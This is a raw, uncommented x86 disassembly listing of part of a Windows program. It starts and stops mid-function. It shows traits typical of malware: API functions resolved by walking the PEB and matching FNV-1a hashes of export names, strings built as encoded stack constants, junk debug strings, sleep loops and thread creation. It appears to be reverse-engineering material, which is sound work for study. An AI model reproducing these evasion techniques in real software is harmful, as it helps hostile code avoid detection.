test cl, cl
je 0x46241d
jmp 0x462400
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x462400
cmp esi, 0x2fa62ca8
je 0x462428
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4623e6
mov eax, dword [eax]
jmp 0x4623c0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 0x65
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x54406d], 0
je 0x4623b0
mov edx, 0x541d54
lea ecx, [ebp - 0x498]
call fcn.0041b000
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x498]
push eax
lea ecx, [ebp - 0x24c]
call fcn.004689f0
cmp dword [0x541d64], 0
jne 0x462506
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x462490
cmp dword [ebp - 0x23c], 0
jne 0x462506
mov edx, 0x541d54
lea ecx, [ebp - 0x214]
call fcn.0041b000
mov esi, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x498]
push esi
call fcn.00468a20
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x480]
call fcn.00468a20
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x214]
call fcn.0041d7e0
lea eax, [ebp - 0x498]
push eax
lea ecx, [ebp - 0x24c]
call fcn.004689f0
push 0
push 0x21bc
call fcn.00407ed0
add esp, 8
push eax
call edi
cmp dword [0x541d64], 0
je 0x462490
push 0x51fc98
mov ecx, 0x541d54
call fcn.004687e0
push eax
call fcn.004e0f60
add esp, 8
test eax, eax
je 0x4625ff
lea eax, [ebp - 0x358]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x358]
call fcn.00402f30
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x358]
push 1
push 0x51f9a8
call fcn.00402ea0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x34]
call fcn.00402f30
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x34]
push 1
push 0x51fc98
call fcn.00402ea0
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0x34]
push 0
push eax
mov ecx, 0x541d54
call fcn.00468650
cmp eax, 0xffffffff
je 0x4625a3
lea ecx, [ebp - 0x358]
push ecx
push dword [ebp - 0x24]
mov ecx, 0x541d54
push eax
call fcn.00468850
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x34]
call fcn.00402c80
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x34]
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x358]
call fcn.00402c80
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x358]
mov dword [ebp - 0xd8], eax
mov byte [ebp - 4], 0x18
mov ecx, 0x541d54
push 0x51fc98
call fcn.004687e0
push eax
call fcn.004e0f60
add esp, 8
test eax, eax
jne 0x462535
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xc4], 0x100bdb5
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x6e8]
call fcn.00402b80
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xe8], 0x100b2ac
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x6d0]
call fcn.00402b80
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0x100b1a5
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x6b8]
call fcn.00402b80
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x94], 0x100a5a6
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x6a0]
call fcn.00402b80
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x100b2b2
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x688]
call fcn.00402b80
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], 0x100acaa
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x670]
call fcn.00402b80
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x8c], 0x100afac
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x658]
call fcn.00402b80
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], 0x100a2b3
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x640]
call fcn.00402b80
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x44], 0x100a9b2
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x628]
call fcn.00402b80
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0x100b2a6
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x610]
call fcn.00402b80
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x5f8]
push eax
lea eax, [ebp - 0x6e8]
push eax
lea ecx, [ebp - 0x4a0]
call fcn.00465080
lea ecx, [ebp - 0x538]
push dword [eax + 4]
push dword [eax]
call fcn.004649a0
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0x6e8]
push fcn.00402b10
push 0xa
push 0x18
push eax
call fcn.004dfb37
lea eax, [ebp - 0x24c]
push eax
lea ecx, [ebp - 0x538]
call fcn.0046e120
test eax, eax
je 0x462808
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], 0x8fbd9ca9
mov dword [ebp - 0x2c], 0x80848199
mov dword [ebp - 0x28], 0xa294848e
mov dword [ebp - 0x24], 0x93969b81
mov dword [ebp - 0x20], 0x1008b84
call fcn.0040ed70
push 0x51fc30
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x462808
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.__TGRERTERYERY
call ebx
call fcn.0041ef70
mov ecx, 0x5442d0
call fcn.00465ff0
test al, al
je 0x462bc5
mov ecx, 0x5442d0
call fcn.00466010
test al, al
jne 0x462bc5
lea ecx, [ebp - 0x1c6]
mov dword [ebp - 0x1c6], 0x88889a80
mov dword [ebp - 0x1c2], 0x9c8e9fb4
mov dword [ebp - 0x1be], 0x9f958a
mov byte [ebp - 0x1ba], 1
call fcn.0040cd00
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.00466000
test al, al
je 0x462bc5
lea ecx, [ebp - 0x1d3]
mov dword [ebp - 0x1d3], 0x88889a80
mov dword [ebp - 0x1cf], 0x9c8e9fb4
mov dword [ebp - 0x1cb], 0x9f958a
mov byte [ebp - 0x1c7], 1
call fcn.0040cd00
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
push str.ewetwertyer_eytdryrtdy
mov byte [0x540b1b], al
call ebx
lea ecx, [ebp - 0x16e]
mov dword [ebp - 0x16e], 0x88889a80
mov dword [ebp - 0x16a], 0x8a98b4
mov byte [ebp - 0x166], 1
call fcn.0040ac80
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0x59]
mov byte [0x540b35], al
mov dword [ebp - 0x59], 0x88889a80
mov dword [ebp - 0x55], 0x9e88b4
mov byte [ebp - 0x51], 1
call fcn.0040ac80
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0xa2]
mov byte [0x540b1a], al
mov dword [ebp - 0xa2], 0x88889a80
mov dword [ebp - 0x9e], 0x828c9bb4
mov dword [ebp - 0x9a], 0x81859583
mov word [ebp - 0x96], 0x100
call fcn.0040ed40
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0xb2]
mov byte [0x540b19], al
mov dword [ebp - 0xb2], 0x88889a80
mov dword [ebp - 0xae], 0x878585b4
mov dword [ebp - 0xaa], 0x809e849c
mov word [ebp - 0xa6], 0x8a
mov byte [ebp - 0xa4], 1
call fcn.00409ab0
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0x178]
mov byte [0x540b34], al
mov dword [ebp - 0x178], 0x88889a80
mov dword [ebp - 0x174], 0x9e998ab4
mov word [ebp - 0x170], 0x100
call fcn.0040ece0
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
mov byte [0x540b36], al
test al, al
je 0x462a27
mov byte [0x540b18], 0
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x1ac], 0x88889a80
mov dword [ebp - 0x1a8], 0x838c8bb4
mov dword [ebp - 0x1a4], 0x100838a
call fcn.0040ed10
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0xb4]
mov byte [0x540b18], al
mov dword [ebp - 0xb4], 0x88889a80
mov dword [ebp - 0xb0], 0x9d8881b4
mov dword [ebp - 0xac], 0x959f959c
mov dword [ebp - 0xa8], 0x868696
mov byte [ebp - 0xa4], 1
call fcn.0040ecb0
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
push str.td_ydrthrhfty
mov byte [0x541c06], al
call ebx
lea ecx, [ebp - 0x182]
mov dword [ebp - 0x182], 0x88889a80
mov dword [ebp - 0x17e], 0x809d9ab4
mov word [ebp - 0x17a], 0x100
call fcn.0040ece0
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0x1a0]
mov byte [0x540b37], al
mov dword [ebp - 0x1a0], 0xb58c9b92
mov dword [ebp - 0x19c], 0x8d839a83
mov word [ebp - 0x198], 0x100
call fcn.0040ece0
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0x30]
mov byte [0x544068], al
mov dword [ebp - 0x30], 0x8d9b8d8a
mov dword [ebp - 0x2c], 0x9c8fb38e
mov dword [ebp - 0x28], 0x97828780
mov dword [ebp - 0x24], 0x9791ab81
mov dword [ebp - 0x20], 0x1009983
call fcn.0040ed70
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0x31]
mov byte [0x544043], al
mov dword [ebp - 0x31], 0x8d9b8d8a
mov dword [ebp - 0x2d], 0x818ab38e
mov dword [ebp - 0x29], 0x979d9780
mov dword [ebp - 0x25], 0x9d9a80ac
mov dword [ebp - 0x21], 0x8a9692
mov byte [ebp - 0x1d], 1
call fcn.0040ee90
push eax
mov ecx, 0x5442d0
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
mov byte [0x544062], al
call fcn.0041f150
push 0x51f88a
lea ecx, [ebp - 0x294]
call fcn.00402b80
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x27c]
push 0x51f88a
call fcn.00402b80
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x264]
push 0x51f88a
call fcn.00402b80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x2c8]
push eax
mov ecx, 0x5443b8
call fcn.00465ec0
lea eax, [ebp - 0x408]
mov ecx, 0x5443b8
push eax
call fcn.00465e50
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x2c8]
call fcn.0046a100
test al, al
jne 0x4634af
lea ecx, [ebp - 0x2c8]
call fcn.00465250
lea ecx, [ebp - 0xfa]
mov dword [ebp - 0xfa], 0x8f848989
mov edi, eax
mov word [ebp - 0xf6], 0x100
call fcn.00465960
lea eax, [ebp - 0xfa]
mov ecx, edi
push eax
call fcn.0046d4f0
lea ecx, [ebp - 0x4b8]
push ecx
mov ecx, eax
call fcn.0046d630
mov esi, eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x32]
mov dword [ebp - 0x32], 0xb58e878b
mov dword [ebp - 0x2e], 0x8b998d9c
mov dword [ebp - 0x2a], 0x80909d9d
mov dword [ebp - 0x26], 0x9f99ab98
mov dword [ebp - 0x22], 0xcba69d99
mov word [ebp - 0x1e], 0x100
call fcn.00465410
push 0
lea eax, [ebp - 0x32]
mov ecx, esi
push eax
call fcn.00468610
mov esi, eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x4b8]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x4b8]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0x34
test esi, esi
jne 0x462f06
lea ecx, [ebp - 0x15d]
mov dword [ebp - 0x15d], 0x9f858991
mov word [ebp - 0x159], 0x8e
mov byte [ebp - 0x157], 1
call fcn.00409390
push eax
mov ecx, edi
call fcn.0046d4f0
lea ecx, [ebp - 0x4d0]
push ecx
mov ecx, eax
call fcn.0046d630
mov esi, eax
mov byte [ebp - 4], 0x39
lea eax, [ebp - 0x294]
cmp eax, esi
je 0x462d55
mov ecx, eax
call fcn.00402c80
push esi
lea ecx, [ebp - 0x294]
call fcn.00402e20
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x4d0]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0xd49b8adb
mov word [ebp - 0x7c], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x294]
call fcn.00468610
cmp eax, 0xffffffff
je 0x462f06
lea eax, [ebp - 0x370]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x310]
mov dword [ebp - 0x44], eax
jmp 0x462dc0
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0xbc], 0x100e2ea
call fcn.00465900
lea ecx, [ebp - 0x370]
call fcn.00402f30
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0xbc]
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462df0
sub ecx, edx
lea eax, [ebp - 0xbc]
push ecx
push eax
lea ecx, [ebp - 0x370]
call fcn.00402ea0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xca]
mov dword [ebp - 0xca], 0xd49b8adb
mov word [ebp - 0xc6], 0x100
call fcn.00465960
lea ecx, [ebp - 0x310]
call fcn.00402f30
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0xca]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462e46
sub ecx, edx
lea eax, [ebp - 0xca]
push ecx
push eax
lea ecx, [ebp - 0x310]
call fcn.00402ea0
mov byte [ebp - 4], 0x42
lea eax, [ebp - 0x310]
push 0
push eax
lea ecx, [ebp - 0x294]
call fcn.00468650
cmp eax, 0xffffffff
je 0x462e98
lea ecx, [ebp - 0x370]
push ecx
push dword [ebp - 0x300]
lea ecx, [ebp - 0x294]
push eax
call fcn.00468850
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x310]
call fcn.00402c80
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x310]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x370]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x370]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0xd49b8adb
mov word [ebp - 0x7c], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x294]
call fcn.00468610
cmp eax, 0xffffffff
jne 0x462dc0
lea ecx, [ebp - 0x10f]
mov dword [ebp - 0x10f], 0x8f848989
mov word [ebp - 0x10b], 0x100
call fcn.00465960
lea eax, [ebp - 0x10f]
mov ecx, edi
push eax
call fcn.0046d4f0
lea ecx, [ebp - 0x4e8]
push ecx
mov ecx, eax
call fcn.0046d630
mov esi, eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x32]
mov dword [ebp - 0x32], 0xb58e878b
mov dword [ebp - 0x2e], 0x8b998d9c
mov dword [ebp - 0x2a], 0x80909d9d
mov dword [ebp - 0x26], 0x9f99ab98
mov dword [ebp - 0x22], 0xc8a69d99
mov word [ebp - 0x1e], 0x100
call fcn.00465410
push 0
lea eax, [ebp - 0x32]
mov ecx, esi
push eax
call fcn.00468610
mov esi, eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x4e8]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x88], eax
mov byte [ebp - 4], 0x34
test esi, esi
jne 0x4631c9
lea ecx, [ebp - 0x116]
mov dword [ebp - 0x116], 0x9f858991
mov word [ebp - 0x112], 0x8e
mov byte [ebp - 0x110], 1
call fcn.00465b60
lea eax, [ebp - 0x116]
mov ecx, edi
push eax
call fcn.0046d4f0
lea ecx, [ebp - 0x500]
push ecx
mov ecx, eax
call fcn.0046d630
mov esi, eax
mov byte [ebp - 4], 0x4d
lea eax, [ebp - 0x27c]
cmp eax, esi
je 0x463015
mov ecx, eax
call fcn.00402c80
push esi
lea ecx, [ebp - 0x27c]
call fcn.00402e20
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x500]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x500]
mov dword [ebp - 0x84], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x7a]
mov dword [ebp - 0x7a], 0xd49b8adb
mov word [ebp - 0x76], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x7a]
push eax
lea ecx, [ebp - 0x27c]
call fcn.00468610
cmp eax, 0xffffffff
je 0x4631c9
lea eax, [ebp - 0x388]
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x328]
mov dword [ebp - 0xe4], eax
nop
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xb8], 0x100e2ea
call fcn.00465900
lea ecx, [ebp - 0x388]
call fcn.00402f30
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xb8]
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4630b0
sub ecx, edx
lea eax, [ebp - 0xb8]
push ecx
push eax
lea ecx, [ebp - 0x388]
call fcn.00402ea0
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xd0], 0xd49b8adb
mov word [ebp - 0xcc], 0x100
call fcn.00465960
lea ecx, [ebp - 0x328]
call fcn.00402f30
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0xd0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463106
sub ecx, edx
lea eax, [ebp - 0xd0]
push ecx
push eax
lea ecx, [ebp - 0x328]
call fcn.00402ea0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x328]
push 0
push eax
lea ecx, [ebp - 0x27c]
call fcn.00468650
cmp eax, 0xffffffff
je 0x463158
lea ecx, [ebp - 0x388]
push ecx
push dword [ebp - 0x318]
lea ecx, [ebp - 0x27c]
push eax
call fcn.00468850
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x328]
call fcn.00402c80
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x328]
mov dword [ebp - 0xe8], eax
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x388]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x388]
mov dword [ebp - 0xc4], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x7a]
mov dword [ebp - 0x7a], 0xd49b8adb
mov word [ebp - 0x76], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x7a]
push eax
lea ecx, [ebp - 0x27c]
call fcn.00468610
cmp eax, 0xffffffff
jne 0x463080
lea ecx, [ebp - 0x103]
mov dword [ebp - 0x103], 0x8f848989
mov word [ebp - 0xff], 0x100
call fcn.00465960
lea eax, [ebp - 0x103]
mov ecx, edi
push eax
call fcn.0046d4f0
lea ecx, [ebp - 0x518]
push ecx
mov ecx, eax
call fcn.0046d630
mov esi, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x32]
mov dword [ebp - 0x32], 0xb58e878b
mov dword [ebp - 0x2e], 0x8b998d9c
mov dword [ebp - 0x2a], 0x80909d9d
mov dword [ebp - 0x26], 0x9f99ab98
mov dword [ebp - 0x22], 0xc9a69d99
mov word [ebp - 0x1e], 0x100
call fcn.00465410
push 0
lea eax, [ebp - 0x32]
mov ecx, esi
push eax
call fcn.00468610
mov esi, eax
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x518]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x518]
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 0x34
test esi, esi
jne 0x46348a
lea ecx, [ebp - 0x11d]
mov dword [ebp - 0x11d], 0x9f858991
mov word [ebp - 0x119], 0x8e
mov byte [ebp - 0x117], 1
call fcn.00465b60
lea eax, [ebp - 0x11d]
mov ecx, edi
push eax
call fcn.0046d4f0
lea ecx, [ebp - 0x3b8]
push ecx
mov ecx, eax
call fcn.0046d630
mov esi, eax
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x264]
cmp eax, esi
je 0x4632d8
mov ecx, eax
call fcn.00402c80
push esi
lea ecx, [ebp - 0x264]
call fcn.00402e20
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x3b8]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x3b8]
mov dword [ebp - 0xd8], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0xd49b8adb
mov word [ebp - 0x70], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x264]
call fcn.00468610
cmp eax, 0xffffffff
je 0x46348a
lea eax, [ebp - 0x340]
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x124], eax
jmp 0x463350
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xc0], 0x100e2ea
call fcn.00465900
lea ecx, [ebp - 0x340]
call fcn.00402f30
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0xc0]
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463380
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
lea ecx, [ebp - 0x340]
call fcn.00402ea0
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x6e]
mov dword [ebp - 0x6e], 0xd49b8adb
mov word [ebp - 0x6a], 0x100
call fcn.00465960
lea ecx, [ebp - 0x2e0]
call fcn.00402f30
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x6e]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4633d0
sub ecx, edx
lea eax, [ebp - 0x6e]
push ecx
push eax
lea ecx, [ebp - 0x2e0]
call fcn.00402ea0
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x2e0]
push 0
push eax
lea ecx, [ebp - 0x264]
call fcn.00468650
cmp eax, 0xffffffff
je 0x46341f
lea ecx, [ebp - 0x340]
push ecx
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0x264]
push eax
call fcn.00468850
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x2e0]
call fcn.00402c80
mov byte [ebp - 4], 0x67
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x340]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x340]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0xd49b8adb
mov word [ebp - 0x70], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x264]
call fcn.00468610
cmp eax, 0xffffffff
jne 0x463350
lea ecx, [ebp - 0x2c8]
call fcn.00465200
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x2c8]
call fcn.0046a100
test al, al
je 0x462c42
lea eax, [ebp - 0x264]
push eax
lea edx, [ebp - 0x27c]
lea ecx, [ebp - 0x294]
call fcn.004093c0
add esp, 4
cmp byte [0x54406a], 0
jne 0x4644ae
call fcn.0041eed0
call fcn.0041f010
call fcn.0041f0b0
call fcn.0044d400
call fcn.00450370
push str.45_hgfch_rtdyt_gfch
call ebx
mov ecx, 0x544258
call fcn.00464dd0
mov ecx, 0x544388
call fcn.00464dd0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x451de0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x458cc0
push 0
mov ebx, eax
push 0
mov dword [ebp - 0x44], ebx
call esi
mov dword [ebp - 0x38], eax
call fcn.0043d6e0
test al, al
je 0x4635e6
lea ecx, [ebp - 0x138]
call fcn.0043d9a0
mov edi, eax
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x165]
mov dword [ebp - 0x165], 0x838e878b
mov dword [ebp - 0x161], 0x1009f85
call fcn.0040cfa0
sub esp, 0x10
mov ecx, edi
mov esi, esp
mov dword [ebp - 0x4c], esp
push eax
call fcn.0046d4f0
push eax
mov ecx, esi
call fcn.00466350
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x196]
mov dword [ebp - 0x196], 0x869c89b1
mov dword [ebp - 0x192], 0xaba4b39f
mov word [ebp - 0x18e], 0x100
call fcn.0040ece0
push eax
mov ecx, 0x544320
call fcn.0046d4f0
mov byte [ebp - 4], 0x71
mov ecx, eax
call fcn.004662e0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x138]
call fcn.004662d0
call fcn.0043d970
lea ecx, [ebp - 0x3f8]
call fcn.0043ed20
mov esi, eax
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0x838e878b
mov dword [ebp - 0x3c], 0x1009f85
call fcn.0040cfa0
push eax
mov ecx, esi
call fcn.0046d4f0
push eax
lea ecx, [ebp - 0x234]
call fcn.00466350
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x8e8781b0
mov dword [ebp - 0x138], 0xad9e9b84
mov dword [ebp - 0x134], 0x9795959d
mov dword [ebp - 0x130], 0x979c809d
mov dword [ebp - 0x12c], 0x1008b9b
call fcn.00465710
lea eax, [ebp - 0x13c]
mov ecx, 0x544320
push eax
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x75
mov dl, byte [edi]
mov cl, byte [ebp - 0x234]
mov byte [edi], cl
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x228]
mov byte [ebp - 0x234], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x22c], edx
mov dword [ebp - 0x228], esi
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x22c]
push dword [ebp - 0x234]
call fcn.0046a270
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x3f0]
push dword [ebp - 0x3f8]
call fcn.0046a270
push 0
push 0x4a9fd
call fcn.00407ed0
add esp, 8
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ebx, [ebx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463764
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463764
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46375d
jmp 0x463740
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463740
cmp esi, 0x71948ca4
je 0x463768
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463726
mov eax, dword [eax]
jmp 0x463700
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4637f9
